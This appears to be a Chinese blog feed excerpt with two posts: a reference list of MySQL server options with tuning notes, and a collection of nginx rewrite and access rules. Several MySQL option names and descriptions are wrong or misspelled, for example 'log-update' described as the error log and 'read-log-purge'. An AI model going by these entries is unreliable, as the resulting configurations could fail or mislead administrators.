mysqld程序&#8211;日志<br />
log [= file] 把所有的连接以及所有的SQL命令记入日志(通用查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname.log文件作为这种日志文件(hostname是服务器的主机名)。<br />
log-slow-queries [= file] 把执行用时超过long_query_time变量值的查询命令记入日志(慢查询日志); 如果没有给出file参数，MySQL将在数据库目录里创建一个hostname-slow.log文件作为这种日志文件(hostname是服务器主机名)。<br />
long_query_time = n 慢查询的执行用时上限(默认设置是10s)。<br />
long_queries_not_using_indexs 把慢查询以及执行时没有使用索引的查询命令全都记入日志(其余同&#8211;log-slow-queries选项)。<br />
log-bin [= filename] 把对数据进行修改的所有SQL命令(也就是INSERT、UPDATE和DELETE命令)以二进制格式记入日志(二进制变更日志，binary update log)。这种日志的文件名是filename.n或默认的hostname.n，其中n是一个6位数字的整数(日志文件按顺序编号)。<br />
log-bin-index = filename 二进制日志功能的索引文件名。在默认情况下，这个索引文件与二进制日志文件的名字相同，但后缀名是.index而不是.nnnnnn。<br />
max_binlog_size = n 二进制日志文件的最大长度(默认设置是1GB)。在前一个二进制日志文件里的信息量超过这个最大长度之前，MySQL服务器会自动提供一个新的二进制日志文件接续上。<br />
binlog-do-db = dbname 只把给定数据库里的变化情况记入二进制日志文件，其他数据库里的变化情况不记载。如果需要记载多个数据库里的变化情况，就必须在配置文件使用多个本选项来设置，每个数据库一行。<br />
binlog-ignore-db = dbname 不把给定数据库里的变化情况记入二进制日志文件。<br />
sync_binlog = n 每经过n次日志写操作就把日志文件写入硬盘一次(对日志信息进行一次同步)。n=1是最安全的做法，但效率最低。默认设置是n=0，意思是由操作系统来负责二进制日志文件的同步工作。<br />
log-update [= file] 记载出错情况的日志文件名(出错日志)。这种日志功能无法禁用。如果没有给出file参数，MySQL会使用hostname.err作为种日志文件的名字。<br />
mysqld程序&#8211;镜像(主控镜像服务器)<br />
server-id = n 给服务器分配一个独一无二的ID编号; n的取值范围是1~2的32次方启用二进制日志功能。<br />
log-bin = name 启用二进制日志功能。这种日志的文件名是filename.n或默认的hostname.n，其中的n是一个6位数字的整数(日志文件顺序编号)。<br />
binlog-do/ignore-db = dbname 只把给定数据库里的变化情况记入二进制日志文件/不把给定的数据库里的变化记入二进制日志文件。<br />
mysqld程序&#8211;镜像(从属镜像服务器)<br />
server-id = n 给服务器分配一个唯一的ID编号<br />
log-slave-updates 启用从属服务器上的日志功能，使这台计算机可以用来构成一个镜像链(A-&gt;B-&gt;C)。<br />
master-host = hostname 主控服务器的主机名或IP地址。如果从属服务器上存在mater.info文件(镜像关系定义文件)，它将忽略此选项。<br />
master-user = replicusername 从属服务器用来连接主控服务器的用户名。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-password = passwd 从属服务器用来连接主控服务器的密码。如果从属服务器上存在mater.info文件，它将忽略此选项。<br />
master-port = n 从属服务器用来连接主控服务器的TCP/IP端口(默认设置是3306端口)。<br />
master-connect-retry = n 如果与主控服务器的连接没有成功，则等待n秒(s)后再进行管理方式(默认设置是60s)。如果从属服务器存在mater.info文件，它将忽略此选项。<br />
master-ssl-xxx = xxx 对主、从服务器之间的SSL通信进行配置。<br />
read-only = 0/1 0: 允许从属服务器独立地执行SQL命令(默认设置); 1: 从属服务器只能执行来自主控服务器的SQL命令。<br />
read-log-purge = 0/1 1: 把处理完的SQL命令立刻从中继日志文件里删除(默认设置); 0: 不把处理完的SQL命令立刻从中继日志文件里删除。<br />
replicate-do-table = dbname.tablename 与&#8211;replicate-do-table选项的含义和用法相同，但数据库和数据库表名字里允许出现通配符”%” (例如: test%.%&#8211;对名字以”test”开头的所有数据库里的所以数据库表进行镜像处理)。<br />
replicate-do-db = name 只对这个数据库进行镜像处理。<br />
replicate-ignore-table = dbname.tablename 不对这个数据表进行镜像处理。<br />
replicate-wild-ignore-table = dbn.tablen 不对这些数据表进行镜像处理。<br />
replicate-ignore-db = dbname 不对这个数据库进行镜像处理。<br />
replicate-rewrite-db = db1name &gt; db2name 把主控数据库上的db1name数据库镜像处理为从属服务器上的db2name数据库。<br />
report-host = hostname 从属服务器的主机名; 这项信息只与SHOW SLAVE HOSTS命令有关&#8211;主控服务器可以用这条命令生成一份从属服务器的名单。<br />
slave-compressed-protocol = 1 主、从服务器使用压缩格式进行通信&#8211;如果它们都支持这么做的话。<br />
slave-skip-errors = n1, n2, &#8230;或all 即使发生出错代码为n1、n2等的错误，镜像处理工作也继续进行(即不管发生什么错误，镜像处理工作也继续进行)。<br />
如果配置得当，从属服务器不应该在执行SQL命令时发生错误(在主控服务器上执行出错的SQL命令不会被发送到从属服务器上做镜像处理); 如果不使用<br />
slave-skip-errors选项，从属服务器上的镜像工作就可能国为发生错误而中断，中断后需要有人工参与才能继续进行。<br />
mysqld&#8211;InnoDB&#8211;基本设置、表空间文件<br />
skip-innodb 不加载InnoDB数据表驱动程序&#8211;如果用不着InnoDB数据表，可以用这个选项节省一些内存。<br />
innodb-file-per-table 为每一个新数据表创建一个表空间文件而不是把数据表都集中保存在中央表空间里(后者是默认设置)。该选项始见于MySQL 4.1。<br />
innodb-open-file = n InnoDB数据表驱动程序最多可以同时打开的文件数(默认设置是300)。如果使用了innodb-file-per-table选项并且需要同时打开很多数据表的话，这个数字很可能需要加大。<br />
innodb_data_home_dir = p InnoDB主目录，所有与InnoDB数据表有关的目录或文件路径都相对于这个路径。在默认的情况下，这个主目录就是MySQL的数据目录。<br />
innodb_data_file_path = ts 用来容纳InnoDB为数据表的表空间: 可能涉及一个以上的文件; 每一个表空间文件的最大长度都必须以字节(B)、兆字节(MB)或千兆字节(GB)为单位给出; 表空间文件的名字必须以分号隔开; 最后一个表空间文件还可以带一个autoextend属性和一个最大长度(max:n)。<br />
例如，ibdata1:1G; ibdata2:1G:autoextend:max:2G的意思是: 表空间文件ibdata1的最大长度是1GB，ibdata2的最大长度也是1G，但允许它扩充到2GB。<br />
除文件名外，还可以用硬盘分区的设置名来定义表空间，此时必须给表空间的最大初始长度值加上newraw关键字做后缀，给表空间的最大扩充长度值加上raw关键字做后缀(例如/dev/hdb1:20Gnewraw或/dev/hdb1:20Graw); MySQL 4.0及更高版本的默认设置是ibdata1:10M:autoextend。<br />
innodb_autoextend_increment = n 带有autoextend属性的表空间文件每次加大多少兆字节(默认设置是8MB)。这个属性不涉及具体的数据表文件，那些文件的增大速度相对是比较小的。<br />
innodb_lock_wait_timeout = n 如果某个事务在等待n秒(s)后还没有获得所需要的资源，就使用ROLLBACK命令放弃这个事务。这项设置对于发现和处理未能被InnoDB数据表驱动程序识别出来的死锁条件有着重要的意义。这个选项的默认设置是50s。<br />
innodb_fast_shutdown 0/1 是否以最快的速度关闭InnoDB，默认设置是1，意思是不把缓存在INSERT缓存区的数据写入数据表，那些数据将在MySQL服务器下次启动时再写入(这么做没有什么风险，因为INSERT缓存区是表空间的一个组成部分，数据不会丢失)。把这个选项设置为0反面危险，因为在计算机关闭时，InnoDB驱动程序很可能没有足够的时间完成它的数据同步工作，操作系统也许会在它完成数据同步工作之前强行结束InnoDB，而这会导致数据不完整。<br />
mysqld程序&#8211;InnoDB&#8211;日志<br />
innodb_log_group_home_dir = p 用来存放InnoDB日志文件的目录路径(如ib_logfile0、ib_logfile1等)。在默认的情况下，InnoDB驱动程序将使用MySQL数据目录作为自己保存日志文件的位置。<br />
innodb_log_files_in_group = n 使用多少个日志文件(默认设置是2)。InnoDB数据表驱动程序将以轮转方式依次填写这些文件; 当所有的日志文件都写满以后，之后的日志信息将写入第一个日志文件的最大长度(默认设置是5MB)。这个长度必须以MB(兆字节)或GB(千兆字节)为单位进行设置。<br />
innodb_flush_log_at_trx_commit = 0/1/2 这个选项决定着什么时候把日志信息写入日志文件以及什么时候把这些文件物理地写(术语称为”同步”)到硬盘上。设置值0的意思是每隔一秒写一次日志并进行同步，这可以减少硬盘写操作次数，但可能造成数据丢失; 设置值1(设置设置)的意思是在每执行完一条COMMIT命令就写一次日志并进行同步，这可以防止数据丢失，但硬盘写操作可能会很频繁; 设置值2是一般折衷的办法，即每执行完一条COMMIT命令写一次日志，每隔一秒进行一次同步。<br />
innodb_flush_method = x InnoDB日志文件的同步办法(仅适用于UNIX/Linux系统)。这个选项的可取值有两种: fdatasync，用fsync()函数进行同步; O_DSYNC，用O_SYNC()函数进行同步。<br />
innodb_log_archive = 1 启用InnoDB驱动程序的archive(档案)日志功能，把日志信息写入ib_arch_log_n文件。启用这种日志功能在InnoDB与MySQL一起使用时没有多大意义(启用MySQL服务器的二进制日志功能就足够用了)。<br />
mysqld程序&#8211;InnoDB&#8211;缓存区的设置和优化<br />
innodb_log_buffer_pool_size = n 为InnoDB数据表及其索引而保留的RAM内存量(默认设置是8MB)。这个参数对速度有着相当大的影响，如果计算机上只运行有MySQL/InnoDB数据库服务器，就应该把全部内存的80%用于这个用途。<br />
innodb_log_buffer_size = n 事务日志文件写操作缓存区的最大长度(默认设置是1MB)。<br />
innodb_additional_men_pool_size = n 为用于内部管理的各种数据结构分配的缓存区最大长度(默认设置是1MB)。<br />
innodb_file_io_threads = n I/O操作(硬盘写操作)的最大线程个数(默认设置是4)。<br />
innodb_thread_concurrency = n InnoDB驱动程序能够同时使用的最大线程个数(默认设置是8)。<br />
mysqld程序&#8211;其它选项</p>
<p>bind-address = ipaddr MySQL服务器的IP地址。如果MySQL服务器所在的计算机有多个IP地址，这个选项将非常重要。<br />
default-storage-engine = type 新数据表的默认数据表类型(默认设置是MyISAM)。这项设置还可以通过&#8211;default-table-type选项来设置。<br />
default-timezone = name 为MySQL服务器设置一个地理时区(如果它与本地计算机的地理时区不一样)。<br />
ft_min_word_len = n 全文索引的最小单词长度工。这个选项的默认设置是4，意思是在创建全文索引时不考虑那些由3个或更少的字符构建单词。<br />
Max-allowed-packet = n 客户与服务器之间交换的数据包的最大长度，这个数字至少应该大于客户程序将要处理的最大BLOB块的长度。这个选项的默认设置是1MB。<br />
Sql-mode = model1, mode2, &#8230; MySQL将运行在哪一种SQL模式下。这个选项的作用是让MySQL与其他的数据库系统保持最大程度的兼容。这个选项的可取值包括ansi、db2、oracle、no_zero_date、pipes_as_concat。<br />
注意：如果在配置文件里给出的某个选项是mysqld无法识别的(如，因为犯了一个愚蠢的打字错误)，MySQL服务器将不启动。</p>
<div>
<p>MySQL的系统变量以调优性能</p>
<p>(1)、back_log：<br />
要求 MySQL 能有的连接数量。当主要MySQL线程在一个很短时间内得到非常多的连接请求，这就起作用，然后主线程花些时间(尽管很短)检查连接并且启动一个新线程。<br />
back_log值指出在MySQL暂时停止回答新请求之前的短时间内多少个请求可以被存在堆栈中。只有如果期望在一个短时间内有很多连接，你需要增加它，换句话说，这值对到来的TCP/IP连接的侦听队列的大小。你的操作系统在这个队列大小上有它自己的限制。 试图设定back_log高于你的操作系统的限制将是无效的。<br />
当你观察你的主机进程列表，发现大量 264084 | unauthenticated user | xxx.xxx.xxx.xxx | NULL | Connect | NULL | login | NULL 的待连接进程时，就要加大 back_log 的值了。默认数值是50，我把它改为500。</p>
<p>(2)、interactive_timeout：<br />
服务器在关闭它前在一个交互连接上等待行动的秒数。一个交互的客户被定义为对 mysql_real_connect()使用 CLIENT_INTERACTIVE 选项的客户。 默认数值是28800，我把它改为7200。</p>
<p>(3)、key_buffer_size：<br />
索引块是缓冲的并且被所有的线程共享。key_buffer_size是用于索引块的缓冲区大小，增加它可得到更好处理的索引(对所有读和多重写)，到你能负担得起那样多。如果你使它太大，系统将开始换页并且真的变慢了。默认数值是8388600(8M)，我的MySQL主机有2GB内存，所以我把它改为 402649088(400MB)。</p>
<p>(4)、max_connections：<br />
允许的同时客户的数量。增加该值增加 mysqld 要求的文件描述符的数量。这个数字应该增加，否则，你将经常看到 Too many connections 错误。 默认数值是100，我把它改为1024 。</p>
<p>(5)、record_buffer：<br />
每个进行一个顺序扫描的线程为其扫描的每张表分配这个大小的一个缓冲区。如果你做很多顺序扫描，你可能想要增加该值。默认数值是131072(128K)，我把它改为16773120 (16M)</p>
<p>(6)、sort_buffer：<br />
每个需要进行排序的线程分配该大小的一个缓冲区。增加这值加速ORDER BY或GROUP BY操作。默认数值是2097144(2M)，我把它改为 16777208 (16M)。</p>
<p>(7)、table_cache：<br />
为所有线程打开表的数量。增加该值能增加mysqld要求的文件描述符的数量。MySQL对每个唯一打开的表需要2个文件描述符。默认数值是64，我把它改为512。</p>
<p>(8)、thread_cache_size：<br />
可以复用的保存在中的线程的数量。如果有，新的线程从缓存中取得，当断开连接的时候如果有空间，客户的线置在缓存中。如果有很多新的线程，为了提高性能可以这个变量值。通过比较 Connections 和 Threads_created 状态的变量，可以看到这个变量的作用。我把它设置为 80。</p>
<p>(10)、wait_timeout：<br />
服务器在关闭它之前在一个连接上等待行动的秒数。 默认数值是28800，我把它改为7200。</p>
<p>注：参数的调整可以通过修改 /etc/my.cnf 文件并重启 MySQL 实现。这是一个比较谨慎的工作，上面的结果也仅仅是我的一些看法，你可以根据你自己主机的硬件情况（特别是内存大小）进一步修改。</p>
<div>
<p>MySQL 的max_allowed_packet保护导致MySQL Server 不断的启停</p>
<p>那到底是什么原因造成MySQL死掉又启来呢？</p>
<p>如果MySQL能够正常自动启动，那访问这个页面对MySQL的影响是数据库系统可以自动识别出来的，出于一种自动保护的原因，它才会shutdown MySQL.</p>
<p>基于以上的原因，开始查找资料，看都有在哪些情况下MySQL会自动shutdown后又立即startup的。<br />
  <br />
首先想到的是buffer(read,sort,temp etc.)不足，那么修改配置文件，把它们都增大一倍后重启MySQL，还是同样的会死掉。</p>
<p>接下来想到的就是可能请求的连接包过大，检查配置文件，其中并没有max_allowed_packet声明。在配置文件中，设置max_allowed_packet=2M后，重新启动MySQL，问题解决！</p>
<p>呵呵，看来mysql的配置文件中还有很多内容可挖的哟，以后得多多注意了。</p>
</div>
</div>
</div>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%87%BD%E6%95%B0" title="函数" rel="tag">函数</a>, <a href="http://www.5bay.cn/tag/%E5%90%AB%E4%B9%89" title="含义" rel="tag">含义</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BC%95%E5%85%A5" title="引入" rel="tag">引入</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/tag/%E6%90%9C%E7%B4%A2" title="搜索" rel="tag">搜索</a>, <a href="http://www.5bay.cn/tag/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F" title="操作系统" rel="tag">操作系统</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%9C%80%E5%BF%AB" title="最快" rel="tag">最快</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%B3%BB%E7%BB%9F" title="系统" rel="tag">系统</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a>, <a href="http://www.5bay.cn/tag/%E9%95%9C%E5%83%8F" title="镜像" rel="tag">镜像</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>nginx的rewrite规则</title>
		<link>http://www.5bay.cn/server-building/nginxderewriteguize.html</link>
		<comments>http://www.5bay.cn/server-building/nginxderewriteguize.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:17:23 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[301]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[cookie]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[domain]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[判断]]></category>
		<category><![CDATA[图片]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[正则表达式]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[自定义]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[重定向]]></category>
		<category><![CDATA[链接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=359</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/nginxderewriteguize.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>正则表达式匹配，其中： * ~ 为区分大小写匹配 * ~* 为不区分大小写匹配 * !~和!~*分别为区分大小写不匹配及不区分大小写不匹配 文件及目录匹配，其中： * -f和!-f用来判断是否存在文件 * -d和!-d用来判断是否存在目录 * -e和!-e用来判断是否存在文件或目录 * -x和!-x用来判断文件是否可执行 flag标记有： * last 相当于Apache里的[L]标记，表示完成rewrite * break 终止匹配, 不再匹配后面的规则 * redirect 返回302临时重定向 地址栏会显示跳转后的地址 * permanent 返回301永久重定向 地址栏会显示跳转后的地址 一些可用的全局变量有，可以用做条件判断(待补全) $args $content_length $content_type $document_root $document_uri $host $http_user_agent $http_cookie $limit_rate $request_body_file $request_method $remote_addr $remote_port $remote_user $request_filename $request_uri $query_string $scheme $server_protocol $server_addr [...]]]></description>
			<content:encoded><![CDATA[<p>正则表达式匹配，其中：</p>
<p>* ~ 为区分大小写匹配<br />
* ~* 为不区分大小写匹配<br />
* !~和!~*分别为区分大小写不匹配及不区分大小写不匹配<br />
文件及目录匹配，其中：</p>
<p>* -f和!-f用来判断是否存在文件<br />
* -d和!-d用来判断是否存在目录<br />
* -e和!-e用来判断是否存在文件或目录<br />
* -x和!-x用来判断文件是否可执行<br />
flag标记有：</p>
<p>* last 相当于Apache里的[L]标记，表示完成rewrite<br />
* break 终止匹配, 不再匹配后面的规则<br />
* redirect 返回302临时重定向 地址栏会显示跳转后的地址<br />
* permanent 返回301永久重定向 地址栏会显示跳转后的地址<br />
一些可用的全局变量有，可以用做条件判断(待补全)<span id="more-359"></span></p>
<p>$args<br />
$content_length<br />
$content_type<br />
$document_root<br />
$document_uri<br />
$host<br />
$http_user_agent<br />
$http_cookie<br />
$limit_rate<br />
$request_body_file<br />
$request_method<br />
$remote_addr<br />
$remote_port<br />
$remote_user<br />
$request_filename<br />
$request_uri<br />
$query_string<br />
$scheme<br />
$server_protocol<br />
$server_addr<br />
$server_name<br />
$server_port<br />
$uri<br />
结合QeePHP的例子</p>
<p>if (!-d $request_filename) {<br />
rewrite ^/([a-z-A-Z]+)/([a-z-A-Z]+)/?(.*)$ /index.php?namespace=user&amp;controller=$1&amp;action=$2&amp;$3 last;<br />
rewrite ^/([a-z-A-Z]+)/?$ /index.php?namespace=user&amp;controller=$1 last;<br />
break;<br />
多目录转成参数<br />
abc.domian.com/sort/2 =&gt; abc.domian.com/index.php?act=sort&amp;name=abc&amp;id=2<br />
}</p>
<p>if ($host ~* (.*)\.domain\.com) {<br />
set $sub_name $1;<br />
rewrite ^/sort\/(\d+)\/?$ /index.php?act=sort&amp;cid=$sub_name&amp;id=$1 last;<br />
}<br />
目录对换<br />
/123456/xxxx -&gt; /xxxx?id=123456</p>
<p>rewrite ^/(\d+)/(.+)/ /$2?id=$1 last;<br />
例如下面设定nginx在用户使用ie的使用重定向到/nginx-ie目录下：</p>
<p>if ($http_user_agent ~ MSIE) {<br />
rewrite ^(.*)$ /nginx-ie/$1 break;<br />
}<br />
目录自动加“/”</p>
<p>if (-d $request_filename){<br />
rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent;<br />
}<br />
禁止htaccess</p>
<p>location ~/\.ht {<br />
deny all;<br />
}<br />
禁止多个目录</p>
<p>location ~ ^/(cron|templates)/ {<br />
deny all;<br />
break;<br />
}<br />
禁止以/data开头的文件<br />
可以禁止/data/下多级目录下.log.txt等请求;</p>
<p>location ~ ^/data {<br />
deny all;<br />
}<br />
禁止单个目录<br />
不能禁止.log.txt能请求</p>
<p>location /searchword/cron/ {<br />
deny all;<br />
}<br />
禁止单个文件</p>
<p>location ~ /data/<a href="http://www.5bay.cn/tag/sql" class="st_tag internal_tag" rel="tag" title="标签 sql 下的日志">sql</a>/data.<a href="http://www.5bay.cn/tag/sql" class="st_tag internal_tag" rel="tag" title="标签 sql 下的日志">sql</a> {<br />
deny all;<br />
}<br />
给favicon.ico和robots.txt设置过期时间;<br />
这里为favicon.ico为99天,robots.txt为7天并不记录404错误日志</p>
<p>location ~(favicon.ico) {<br />
log_not_found off;<br />
expires 99d;<br />
break;<br />
}</p>
<p>location ~(robots.txt) {<br />
log_not_found off;<br />
expires 7d;<br />
break;<br />
}<br />
设定某个文件的过期时间;这里为600秒，并不记录访问日志</p>
<p>location ^~ /html/scripts/loadhead_1.js {<br />
access_log off;<br />
root /opt/lampp/htdocs/web;<br />
expires 600;<br />
break;<br />
}<br />
文件反盗链并设置过期时间<br />
这里的return 412 为自定义的http状态码，默认为403，方便找出正确的盗链的请求<br />
“rewrite ^/ http://leech.xxx.com/leech.gif;”显示一张防盗链图片<br />
“access_log off;”不记录访问日志，减轻压力<br />
“expires 3d”所有文件3天的浏览器缓存</p>
<p>location ~* ^.+\.(jpg|jpeg|gif|png|swf|rar|zip|css|js)$ {<br />
valid_referers none blocked *.xxx.com *.xxx.net localhost 208.97.167.194;<br />
if ($invalid_referer) {<br />
rewrite ^/ http://leech.xxx.com/leech.gif;<br />
return 412;<br />
break;<br />
}<br />
access_log off;<br />
root /opt/lampp/htdocs/web;<br />
expires 3d;<br />
break;<br />
}<br />
只充许固定ip访问网站，并加上密码</p>
<p>root /opt/htdocs/www;<br />
allow 208.97.167.194;<br />
allow 222.33.1.2;<br />
allow 231.152.49.4;<br />
deny all;<br />
auth_basic “C1G_ADMIN”;<br />
auth_basic_user_file htpasswd;<br />
将多级目录下的文件转成一个文件，增强seo效果<br />
/job-123-456-789.html 指向/job/123/456/789.html</p>
<p>rewrite ^/job-([0-9]+)-([0-9]+)-([0-9]+)\.html$ /job/$1/$2/jobshow_$3.html last;<br />
将根目录下某个文件夹指向2级目录<br />
如/shanghaijob/</p>
<p>指向 /area/shanghai/<br />
如果你将last改成permanent，那么浏览器地址栏显是/location/shanghai/</p>
<p>rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;<br />
上面例子有个问题是访问/shanghai 时将不会匹配</p>
<p>rewrite ^/([0-9a-z]+)job$ /area/$1/ last;<br />
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;<br />
这样/shanghai 也可以访问了，但页面中的相对链接无法使用，<br />
如./list_1.html真实地址是/area/shanghia/list_1.html会变成/list_1.html,导至无法访问。</p>
<p>那我加上自动跳转也是不行咯<br />
(-d $request_filename)它有个条件是必需为真实目录，而我的rewrite不是的，所以没有效果</p>
<p>if (-d $request_filename){<br />
rewrite ^/(.*)([^/])$ http://$host/$1$2/ permanent;<br />
}<br />
知道原因后就好办了，让我手动跳转吧</p>
<p>rewrite ^/([0-9a-z]+)job$ /$1job/ permanent;<br />
rewrite ^/([0-9a-z]+)job/(.*)$ /area/$1/$2 last;<br />
文件和目录不存在的时候重定向：</p>
<p>if (!-e $request_filename) {<br />
proxy_pass http://127.0.0.1;<br />
}<br />
域名跳转</p>
<p>server<br />
{<br />
listen 80;<br />
server_name jump.xxx.com;<br />
index index.html index.htm index.php;<br />
root /opt/lampp/htdocs/www;<br />
rewrite ^/ http://www.xxx.com/;<br />
access_log off;<br />
}<br />
多域名转向</p>
<p>server_name www.xxx.com;<br />
index index.html index.htm index.php;<br />
root /opt/lampp/htdocs;<br />
if ($host ~ “xxx\.net”) {<br />
rewrite ^(.*) http://www.xxx.com$1 permanent;<br />
}<br />
三级域名跳转</p>
<p>if ($http_host ~* “^(.*)\.i\.xxx\.com$”) {<br />
rewrite ^(.*) http://top.xxx.com$1;<br />
break;<br />
}<br />
域名镜向</p>
<p>server<br />
{<br />
listen 80;<br />
server_name mirror.xxx.com;<br />
index index.html index.htm index.php;<br />
root /opt/lampp/htdocs/www;<br />
rewrite ^/(.*) http://www.xxx.com/$1 last;<br />
access_log off;<br />
}<br />
某个子目录作镜向</p>
<p>location ^~ /zhaopinhui {<br />
rewrite ^.+ http://zph.xxx.com/ last;<br />
break;<br />
}<br />
discuz ucenter home (uchome) rewrite</p>
<p>rewrite ^/(space|network)-(.+)\.html$ /$1.php?rewrite=$2 last;<br />
